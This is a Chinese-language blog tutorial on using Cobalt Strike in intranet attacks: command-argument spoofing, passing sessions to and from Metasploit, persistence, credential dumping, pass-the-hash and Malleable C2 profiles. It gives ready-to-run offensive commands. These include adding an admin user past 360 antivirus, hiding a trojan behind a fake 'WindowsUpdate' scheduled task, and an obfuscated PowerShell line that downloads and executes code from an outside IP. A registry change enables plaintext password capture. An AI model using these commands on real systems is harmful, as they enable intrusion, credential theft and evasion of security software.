【内网安全】Cobalt Strike 使用

文章目录

  • 安装
  • 上线
    • 无文件上线
  • Beacon命令
    • argue参数污染
  • 远程桌面
  • Cobalt Strike与MSF的联动
    • cs的会话---->msf的会话
    • msf的会话---->cs的会话
  • cobaltstrike权限维持
  • cobaltstrike权限降低
  • 哈希传递攻击
  • profile使用及编写

安装

CobaltStrike安装

上线

无文件上线

Beacon命令

argue参数污染

argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
execute net1 user test test123 /add
execute net1 localgroup administrators test /add


argue 进程参数欺骗

argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数

argue [command]
argue 命令 取消欺骗某个命令参数

利用这个也可以绕过360添加用户(非核晶模式非x86)比如:
argue net1 /hello /hello /hello /hello /hello
run net1 user admin 123451 /add
注:假参数需要比真命令强 

https://wbglil.gitbook.io/cobalt-strike/cobalt-strikeji-ben-shi-yong

远程桌面

explore->desktop

必须得当前用户有桌面才能使用,默认是隐身模式,不能操作,关闭隐身模式即可操作,不过有点慢,这个功能主要用来看管理员在干嘛,实战中一般不使用他来进行操作。

Cobalt Strike与MSF的联动

cs的会话---->msf的会话

首先,用cs新建一个外部的监听:payload为http的
【内网安全】Cobalt Strike 使用_第1张图片
填好监听位置,端口,点击save
在这里插入图片描述
开启msf,使用exploit/multi/handler模块,设置payload为windows/meterpreter/reverse_http,然后设置监听端口与ip

注意:payload必须是和cs上设置的监听模块一致。

use exploit/multi/handler
set payload  windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 4444
run

【内网安全】Cobalt Strike 使用_第2张图片

然后在cs中右键目标,增加会话
【内网安全】Cobalt Strike 使用_第3张图片
选择刚刚设置的监听器

【内网安全】Cobalt Strike 使用_第4张图片
或者直接使用命令也是一样的,spawn+监听器名字

beacon> spawn msf

成功在msf上接受到shell
【内网安全】Cobalt Strike 使用_第5张图片

msf的会话---->cs的会话

首先在CS上新建一个内部监听。
【内网安全】Cobalt Strike 使用_第6张图片
首先在msf上面查看要上传会话的id(我这里是1)

background
sessions

【内网安全】Cobalt Strike 使用_第7张图片
设置参数,需要和cs的配置一样
【内网安全】Cobalt Strike 使用_第8张图片

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set session 1
set lhost 0.0.0.0
set lport 802
run

成功上线
在这里插入图片描述

cobaltstrike权限维持

参考

查看杀毒软件信息
【内网安全】Cobalt Strike 使用_第9张图片

上传木马
【内网安全】Cobalt Strike 使用_第10张图片
隐藏文件

shell attrib C:\Windows\Temp\123.exe +s +h

添加计划任务

shell schtasks /create /tn WindowsUpdate /tr "C:\Windows\Temp\123.exe" /sc minute /mo 1

删除计划任务

schtasks /delete /tn WindowsUpdate

如果需要选择,自动选择y

shell schtasks /delete /tn WindowsUpdate /f

过360

set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('h'+'ttP://12'+'1.131.131.'+'190/123.txt') | %aa%%bb% -"
schtasks /create /tn WindowsUpdate /tr "C:\Users\win10_zyx_father\1.exe" /sc minute /mo 1

cobaltstrike权限降低

进程注入
【内网安全】Cobalt Strike 使用_第11张图片

想要什么用户找到对应进程,注入即可
【内网安全】Cobalt Strike 使用_第12张图片

成功进程注入
在这里插入图片描述

哈希传递攻击

可以参考:浅析内网横向移动-Pass The Hash

首先在Cobalt Strike执行

logonpasswords

view——>credentials里可以看到抓取到的账号密码

哈希传递攻击适用情况:

工作组环境

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击。

域环境中

只能是域管理员组内用户(可以是域管理员组内非administrator用户)
被攻击的机器需要开放445端口,而且用户名没有更改过

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,只能读取哈希值。虽然此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

然后使用cs的portscan功能进行端口扫描以及主机发现,然后选择目标,右键——>jump——psexec_psh,选择要传递的账号密码进行传递即可

注入:03之前使用psexec,2003之后使用psexec_psh

windows历史版本:

1985:Windows 1.0
1987:Windows 2.0
1990:Windows 3.0
1995:Windows 95
1998:Windows 98
2000:Windows ME/ Windows 2000 Server
2001:Windows XP
2003:Windows Server 2003
2005:Windows Server 2003 R2
2006:Windows Vista
2008:Windows Server 2008
2009:Windows 7/ Windows Server 2008 R2
2012:Windows 8/ Windows 8.1 / Windows Server 2012
2013:Windows Server 2012 R2
2015:Windows 10
2016:Windows Server 2016
2019:Windows Server 2019
2021:Windows 11

profile使用及编写

使用:
可以在启动cs服务端的时候,指定一个配置文件进行加载

./teamserver [external IP] [password] [/path/to/my.profile]

检查配置文件:
cobalt Strike提供了一个小程序C2lint,用来检查你编写的配置文件是否是可用的,是否有错误,这个程序会检查你的语法是否正确,并且会生成一个简单的交互过程让你预览,cobalt Strike强烈推荐你在正式使用之前用这个小程序来检查一下。

./c2lint [/path/to/my.profile]

编写配置文件

编写一个配置文件最好的方式就是根据现有的配置文件进行修改,现在提供一个github上面的C2-Profiles例子:

https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/gmail.profile

第一部分是证书信息

https-certificate {
	set CN       "gmail.com";
	set O        "Google GMail";
	set C        "US";
	set L        "Mountain View";
	set OU       "Google Mail";
	set ST       "CA";
	set validity "365";
}

第二部分

set sleeptime "60000";
set pipename "interprocess_##";
set spawnto "userinit.exe";
set jitter "15";
set dns_idle "8.8.4.4";

解释如下:

  • sleeptime 60000 默认休眠时间(毫秒值)
  • pipename msagent_## 使用SMB信标时点对点的名称
  • jitter 0 默认增加的随机值的比例(0-99%)
  • dns_idle 0.0.0.0 用于采用DNS信标时的ip地址

然后就是http-gethttp-post了,其实对应的就是cs中的这两个部分
【内网安全】Cobalt Strike 使用_第13张图片
例如:

http-get {
        set uri "/fengxuan";
        client {
                metadata {
                        base64;
                        prepend "user=";
                        header "Cookie";           
                }
        }
}                                     

这个配置定义了在HTTP协议中Get请求的传输,第一句set uri, 表示,在当请求/fengxuan这个URL的时候,会执行以下的配置。

那么整段配置是什么意思呢?

就是在请求/fengxuan 这个地址的时候,http header中的 user字段里面的内容会进行base64加密然后再进行传输,从这个地址接受的返回包,http header中的 user字段会进行base64解密。

数据传输的标记语法
【内网安全】Cobalt Strike 使用_第14张图片

你可能感兴趣的:(#,安全工具使用,安全,linux,运维)